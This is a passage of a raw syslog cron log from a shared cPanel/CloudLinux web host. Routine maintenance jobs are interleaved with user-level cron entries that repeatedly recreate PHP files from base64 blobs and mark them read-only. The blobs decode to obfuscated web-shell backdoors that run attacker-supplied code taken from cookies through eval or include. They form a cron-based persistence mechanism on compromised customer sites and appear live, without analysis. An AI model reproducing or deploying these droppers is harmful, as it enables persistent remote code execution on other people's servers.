o6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:08:01 medusa CROND[1134]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:08:01 medusa CROND[1143]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:08:01 medusa CROND[1152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:08:01 medusa CROND[1160]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:08:01 medusa CROND[1121]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Mar  2 09:08:01 medusa CROND[1169]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:08:01 medusa CROND[1170]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 09:08:01 medusa CROND[1190]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:08:01 medusa CROND[1201]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 09:08:01 medusa CROND[1210]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:08:01 medusa CROND[1256]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:09:01 medusa CROND[17939]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:09:01 medusa CROND[18044]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 09:09:01 medusa CROND[18111]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:09:01 medusa CROND[18114]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:09:01 medusa CROND[18115]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:09:01 medusa CROND[18125]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:09:01 medusa CROND[18127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:09:01 medusa CROND[18132]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:09:01 medusa CROND[18134]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:09:01 medusa CROND[18135]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:09:01 medusa CROND[18136]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:09:01 medusa CROND[18133]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  2 09:09:02 medusa CROND[18148]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:10:01 medusa CROND[6037]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 09:10:01 medusa CROND[6075]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 09:10:02 medusa CROND[6235]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:10:02 medusa CROND[6238]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:10:02 medusa CROND[6237]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 09:10:02 medusa CROND[6240]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 09:10:02 medusa CROND[6241]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:10:02 medusa CROND[6242]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 09:10:02 medusa CROND[6243]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
